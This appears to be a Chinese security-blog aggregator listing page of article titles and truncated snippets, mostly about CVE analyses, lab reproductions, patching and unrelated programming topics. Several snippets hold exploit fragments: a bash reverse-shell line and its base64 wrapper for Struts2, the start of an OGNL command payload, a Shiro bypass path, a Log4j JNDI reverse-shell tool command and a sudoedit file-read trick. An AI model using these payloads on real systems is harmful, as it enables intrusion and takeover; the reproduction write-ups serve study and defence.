CVE原理解析

day33WEB 攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全

目录一，中间件文件解析漏洞-IIS&Apache&Nginx-IIS67文件名目录名-Apache换行解析配置不当1、换行解析-CVE-2017-157152、配置不当-.htaccess配置不当-Nginx
aozhan001·2024-01-27 01:40

WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现WordPress6.2插件：wp-file-manager6.0，FileManager(advancedview)–WordPressplugin|WordPress.org（https://wordpress.org/plugins/wp-file-manager/advanced/）复现后台，安装、启动插件前台，提交请求包：POST /wp-content/plugins/wp
网安Dokii·2024-01-26 23:22

docker mysql8.0.26 迁移 mysql8.3.0

背景mysql8.0.26存在CVE-2021-3711、CVE-2022-32221漏洞，姑升级到mysql8.3.0镜像准备sudodockersave-omysql830.tarmysql:8.3.0sudodockerload-imysql830
appearappear·2024-01-26 23:04

CVE-2023-48795漏洞修复方法

该漏洞名为TerrapinAttack，编号为（CVE-2023-48795，CVSS评分：5.9），该漏洞被描述为“有史以来第一个实际可利用的前缀截断攻击”。
明明跟你说过·2024-01-26 21:15

如何使用 WebRTC 与 Kurento 建立视频会议 App

本文作者WebRTCVentures工程师。在RTC2018实时互联网大会上，WebRTCVentures的资深软件工程师，将围绕WebRTC开发带来经验分享。
老张音视频开发进阶·2024-01-26 19:19

CVE-2016-2183漏洞复现

CVE-2016-2183是OpenSSL库中的一个漏洞，它影响了所有版本的OpenSSL1.0.2之前，包括1.0.1和1.0.0版本。
网络战争·2024-01-26 17:51

01Spring底层核心原理解析

Spring底层核心原理解析Spring中如何创建对象AnnotationConfigApplicationContextapplicationContext=newAnnotationConfigApplicationContext
~Wil~·2024-01-26 16:55

python多态原理及实现_Python类继承和多态原理解析

这篇文章主要介绍了python类继承和多态原理解析,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下现在属于是老年人的脑子，东西写着写着就忘了，东西记着记着就不知道了
weixin_39788960·2024-01-26 14:15

Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517的简单分析

本文深入研究了两个在GoogleChrome的V8JavaScript引擎中发现的漏洞，分别是CVE-2020-6507和CVE-2024-0517。
Fer_David·2024-01-26 12:26

CVE-2019-0232：Apache Tomcat RCE复现

漏洞影响范围ApacheTomcat9.0.0.M1to9.0.17ApacheTomcat8.5.0to8.5.39ApacheTomcat7.0.0to7.0.93利用前提Windows系统启用CGIServlet和enableCmdLineArguments参数privileged="true"复现过程配置java环境变量下载相应版本tomcat服务器（此处为9.0.13版本）下载地址打开配
jun123123·2024-01-26 10:17

Hadoop3.x源码解析

文章目录一、RPC通信原理解析1、概要2、代码demo二、NameNode启动源码解析1、概述2、启动9870端口服务3、加载镜像文件和编辑日志4、初始化NN的RPC服务端5、NN启动资源检查6、NN对心跳超时判断
魅Lemon·2024-01-26 09:54

【华为 ICT & HCIA & eNSP 习题汇总】——题目集8

A、OSPF路由的外部优先级是15B、IS-IS路由的外部优先级是10C、静态路由的外部优先级是60D、BGP路由的外部优先级是20考点：路由技术原理解析：（C）在路由协议的优先级中，数值越小优先级越高
晚风(●•σ )·2024-01-25 20:32

网格切割（MeshCut）

现在粘贴有意的代码块：publicclassMeshExample:MonoBehaviour{//必要的属性：顶点、三角形索引publicVector3[]newVertices;publicVector2
Qkuang·2024-01-25 17:40

webpack-dev-server原理解析及其中跨域解决方法

webpackproxy,就是webpack提供的解决跨域的方案。其基本行为是接受客户端发送的请求后转发给其他的服务器，目的是为了解决在开发模式下的跨域问题。原理webpack中的proxy工作原理是利用了http-proxy-middleware这个http代理中间件，实现将请求转发给其他的服务器。如下：在开发阶段，本地地址是Http://loaclhost:3000,该浏览器发送一个前缀带有/
背太阳的牧羊人·2024-01-25 13:47

jasypt集成spring-boot原理解析

背景每个应用都有很多配置项，有些配置项对外非常敏感，例如数据库连接密码、私钥等。使用明文存在泄露的风险，生产环境要配合加密算法。jasypt是一个方便、流行的加密工具，支持PBE、AEC和对称加密。它与spring-boot的集成度很高，可以方便的为spring-boot属性进行加解密。使用方式要使用jayspt要引入pom文件：org.jasyptjasypt1.9.3以PBE加密为例，要先初始
李昂的数字之旅·2024-01-25 13:53

CVE-2018-8715 AppWeb认证绕过漏洞【复现】

AppWeb认证绕过漏洞（CVE-2018-8715）AppWeb是EmbedthisSoftwareLLC公司负责开发维护的一个基于GPL开源协议的嵌入式WebServer。
TyrantKKK·2024-01-25 13:38

nestjs之常用装饰器以及原理解析

大概有五种常用的装饰器类型（类装饰器、方法装饰器、访问符装饰器、属性装饰器和参数装饰器）如下所示。1.类装饰器类装饰器用于类声明。这里的例子是一个简单的日志记录装饰器，它在类被实例化时记录信息。functionLogClass(target:Function){//保存原始构造函数的引用constoriginal=target;//生成一个新的构造函数，它会替代原始的构造函数functioncon
Young soul2·2024-01-25 12:11

redis漏洞研究

今天的计划是修复线上的redis漏洞Redis整形溢出漏洞（CVE-2021-32761）及修复脚本目的:修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell漏洞(次要,毕竟需要密码
张dozen·2024-01-25 11:56

ATF(TF-A)安全通告TF-V11——恶意的SDEI SMC可能导致越界内存读取(CVE-2023-49100)

目录一、ATF(TF-A)安全通告TFV-11(CVE-2023-49100)二、透过事务看本质SDEI是干啥的呢？
卢鸿波·2024-01-25 08:02

Monitorr 任意文件上传漏洞复现(CVE-2024-0713)

0x01产品简介Monitorr是一个实时显示任何网络应用程序或服务状态的网络前端。0x02漏洞概述Monitorr1.7.6m版本中发现漏洞。它已被宣布为关键。受此漏洞影响的是组件服务配置的文件/assets/php/upload.php的未知功能。对参数fileToUpload的操作会导致不受限制的上传，未经身份验证的攻击者可远程上传恶意文件导致服务器失陷。0x03复现环境FOFA：body=
OidBoy_G·2024-01-25 06:01

Atlassian Confluence Data Center and Server 权限提升漏洞复现（CVE-2023-22515）

0x01产品简介AtlassianConfluence是一款由Atlassian开发的企业团队协作和知识管理软件，提供了一个集中化的平台，用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。0x02漏洞概述AtlassianConfluenceDataCenterandServer存在权限提升漏洞，未经身份验证的远程攻击者可以利用该漏洞
OidBoy_G·2024-01-25 06:30

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134）

一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码，这是与CVE-2013-2135不同的漏洞
free key·2024-01-25 06:41

[漏洞复现]Apache POI ＜ 3.10.1 XXE（CVE-2014-3529）

一、漏洞情况分析ApachePOI3.10.1之前的OPCSAX设置允许远程攻击者通过OpenXML文件读取任意文件，该文件包含与XML外部实体(XXE)问题相关的XML外部实体声明和实体引用。二、漏洞复现春秋云境.com进入靶场准备文件和环境创建一个[Content_Types].xml文件和xxe.dtd文件注意名字不可修改###xxe.dtd###">%all;###[Content_Typ
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966）

一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
free key·2024-01-25 06:10

[漏洞复现] Craft (CVE-2023-41892)

前言本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！一、漏洞情况分析CraftCMS是美国Pixel＆tonic公司的一套内容管理系统（CMS）。一个开源的内容管理系统，它专注于用户友好的内容创建过程，逻辑清晰明了，是一个高度自由，高度自定义设计的平台吗，可以用来创建个人或企业网站也可以搭建企业级电子商务系统。Pixel＆tonicCraftCMS4.4.15之前版本存在代码
free key·2024-01-25 06:10

[漏洞复现]Apache Shiro ＜ 1.6.0 验证绕过漏洞（CVE-2020-13933）

一、漏洞情况分析ApahceShiro由于处理身份验证请求时出错存在权限绕过漏洞，远程攻击者可以发送特制的HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。二、漏洞复现春秋云境.com进入靶场开始复现/admin/%3b三、漏洞处置建议把靶场关了，跟漏洞说“白白吧”
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135）

一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码，这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
free key·2024-01-25 06:04

GitLab升级版本（任意用户密码重置漏洞CVE-2023-7028）

目录前言漏洞分析影响范围查看自己的GitLab版本升级路程升级过程13.1.1113.8.8-14.0.1214.3.614.9.5-16.1.6前言最近GitLab发了个紧急漏洞需要修复，ok接到命令立刻着手开始修复，在修复之前先大概了解一下这个漏洞是什么东西漏洞分析1、组件介绍：GitLab是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的web服务。2、漏洞
九辰O·2024-01-25 05:56

log4j2漏洞综合利用_CVE-2021-44228_CNVD-2021-95919

1.漏洞利用1.1.rmi利用1、在检测到目标存在log4j2漏洞后，确定漏洞参数，尝试接受目标rmi请求。成功接收到请求。出现JRMIK字样即代表可接受RMI请求。2、漏洞利用。使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar执行命令，反弹shell。java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-
LQxdp·2024-01-25 04:39

confluence模版注入漏洞_CVE-2023-22527

1.漏洞简介Confluence是Atlassian公司开发的一款专业的企业知识管理与协同软件，可用于构建企业wiki。ConfluenceDataCenter和ConfluenceServer多个受影响版本中存在模板注入漏洞，未经身份验证的威胁者可利用该漏洞在受影响的实例上实现远程代码执行。2.影响版本ConfluenceDataCenter和ConfluenceServer8.0.xConfl
LQxdp·2024-01-25 04:08

警惕！Citrix NetScaler ADC 和 NetScaler Gateway漏洞风险通告

近日，亚信安全CERT监控到Citrix发布了NetScalerADC和NetScalerGateway的安全公告，披露了2个安全漏洞CVE-2023-6548和CVE-2023-6549。
亚信安全官方账号·2024-01-25 03:22

Atlassian Confluence 模板注入代码执行漏洞风险通告

近日，亚信安全CERT监控到Atlassian公司发布了一则安全公告，针对ConfluenceDataCenterandServer存在的远程代码执行漏洞（CVE-2023-22527）进行了修复。
亚信安全官方账号·2024-01-25 03:21

【漏洞修复】Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)

摘要本文档适用于OpenEuler20、OpenEuler21、OpenEuler22、麒麟V10SP3、统信V10操作系统，修复Log4漏洞。问题描述ApacheLog4j是一个功能强大的日志组件，提供方便的日志记录。ApacheLog4j2存在远程代码执行漏洞，由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。修复方法方法一：升级log4j版
荒Huang·2024-01-25 02:42

vulhub之Spring篇

CVE-2022-22978Spring-security认证绕过漏洞一、环境启动web服务正常访问admin页面，因为没有经过身份认证，会被禁止；加上换回车符\n后正则表达式不会匹配；将换行符\n用%
咩了个咩咩·2024-01-25 02:27

关于H3C路由器漏洞的情况说明

漏洞简介：H3C多款企业路由器actionpolicy_status信息泄露漏洞漏洞编号：NVDB-CNVDB-2022938054（CVE-2023-5142）NVBD收录时间：2022年12月29日厂商回复已修复时间
weixin_44106034·2024-01-24 22:48

（BUUCTF）ycb_2020_easy_heap （glibc2.31的off-by-null + orw）

分析程序，开启了沙盒，只禁用了execve。存在一个off-by-
LtfallQwQ·2024-01-24 22:14

D-Tale SSRF漏洞复现（CVE-2024-21642）

0x01产品简介D-tale是一个在2020年2月推出的库，是Pandas数据结构的可视化工具。它具有许多功能，对于探索性数据分析非常方便、支持交互式绘图、3d绘图、热图、特征之间的相关性、构建自定义列等等。0x02漏洞概述D-Tale是Pandas数据结构的可视化工具。3.9.0之前的D-Tale版本的用户可能容易受到服务器端请求伪造(SSRF)的攻击，从而使攻击者能够访问服务器上的文件。0x0
OidBoy_G·2024-01-24 22:45

【复现】D-Tale SSRF漏洞(CVE-2024-21642)_26

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述D-Tale数据可视化插件是后端框架Flask与前端框架React组合产生的一款开源的数据可视化分析插件。目前支持DataFrame、Series、MultiIndex、DatetimeIndex和RangeIndex等Pandas的数据结构对象，并且还提供了常规数据结构的函数分析等可视化功能实现。二.
穿着白衣·2024-01-24 22:13

vue中楼层滚动实现原理解析

image.png楼层效果如上图所示：当点击左边的索引表会跳到对应的模块，同时在滚动模块的时候索引表也跟着变。这个主要是要利用iScroll的iscroll方法，实时获取滚动的y轴数据，同时获取每个索引对应模块的offsetTop的值，保存到一个数组中，这里我是把这个方法放到watch里面的，监视数据是否有变化，同时这里因为我们要获取dom元素，所以要用$nextTick方法等待dom渲染好再获取
百變Confucius·2024-01-24 17:44

计算线圆交点

privatestaticVector2CalIntersection(Vector2start,Vector2end,Vector2center){Vector2v=Vector2.zero;floatdisY1
敉霞·2024-01-24 16:05

V2022全栈培训笔记（WEB攻防46-WEB攻防-通用漏洞&PHP反序列化&原生类&漏洞绕过&公私有属性）

反序列化语言特性漏洞绕过~其他魔术方法共有&私有&保护语言模式方法漏洞~原生类获取利用配合#反序列化利用大概分类三类-魔术方法的调用逻辑如触发条件-语言原生类的调用逻辑如SoapClient-语言自身的安全缺陷如CVE
清歌secure·2024-01-24 16:20

2023年春秋杯网络安全联赛春季赛Misc-AK

sudoCVE-2023-22809没有vimvi，就用原生编辑器nanoEDITOR='nano--/flag'sudoedit/etc/GAMELABpiphack可以下载任意包，考虑构造恶意的包，
Y0ng778·2024-01-24 16:50

【笔记】Helm-3 主题-16 发布计划策略

SemanticVersioning2.0.0|SemanticVersioni
许科大·2024-01-24 12:40

cve-2022-0847 dirty pipe 摘录

Breeze_CAT/article/details/123393188图解https://xz.aliyun.com/t/11016提权https://bsauce.github.io/2022/04/03/CVE
goodcat666·2024-01-24 12:32

mysql主从复制、读写分离、分库分表、分片

数据库水平切分的实现原理解析——分库，分表，主从，集群，负载均衡器（转）第1章引言随着互联网应用的广泛普及，海量数据的存储和访问成为了系统设计的瓶颈问题。
scyxm0426·2024-01-24 10:59

HBase万字详细原理解析

HBase超详细原理解析文章目录HBase超详细原理解析一、HBase数据模型1.1逻辑视图与物理视图1.2多维稀疏排序Map二、HBase相关数据结构2.1LMS树索引2.2布隆过滤器三、RegionServer
oahaijgnahz·2024-01-24 08:23

【单层感知器】花语神经网络的原理解析

神经网络感知器（Perceptron）是神经网络中最基础的单元，它的工作原理可以用一个通俗的比喻来解释。假设有一个花园，花园里有各种各样的花，我们要通过花的特征来识别不同的花种。神经网络感知器就像是一个智能的花匠，它能够根据花的特征进行分类和识别。感知器的输入就像是花的特征，比如颜色、形状、大小等等。这些特征被输入到感知器中，感知器会根据这些特征做出决策，判断这个花属于哪一类。感知器内部有一组权重
德天老师·2024-01-24 08:32

黑客“盯上了” Atlassian Confluence RCE 漏洞

BleepingComputer网站消息，安全研究人员近日观察到一些威胁攻击者正在试图针对CVE-2023-22527远程代码执行漏洞“做文章”，以发起大规模网络攻击活动。
FreeBuf_·2024-01-24 08:54

ubuntu 20.04 aarch64 平台交叉编译 libffi 库

libffi库，也就是libffi库也需要交叉编译环境：ubuntu20.04交叉编译工具链：这里使用musllibc的gcc交叉编译工具链，aarch64-linux-musleabi-gcc，gcc版本gccversion12.2.0
张世争·2024-01-24 06:47

ES报错Elasticsearch exception [type=circuit_breaking_exception, reason=[parent] Data too large, data f

文章目录问题回顾原因概述临时解决方法原理解析问题回顾在测试环境中，项目使用的ES报错了，如下：Elasticsearchexception[type=circuit_breaking_exception
青w韵·2024-01-24 05:43
上一页 4 5 6 7 8 9 10 11 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他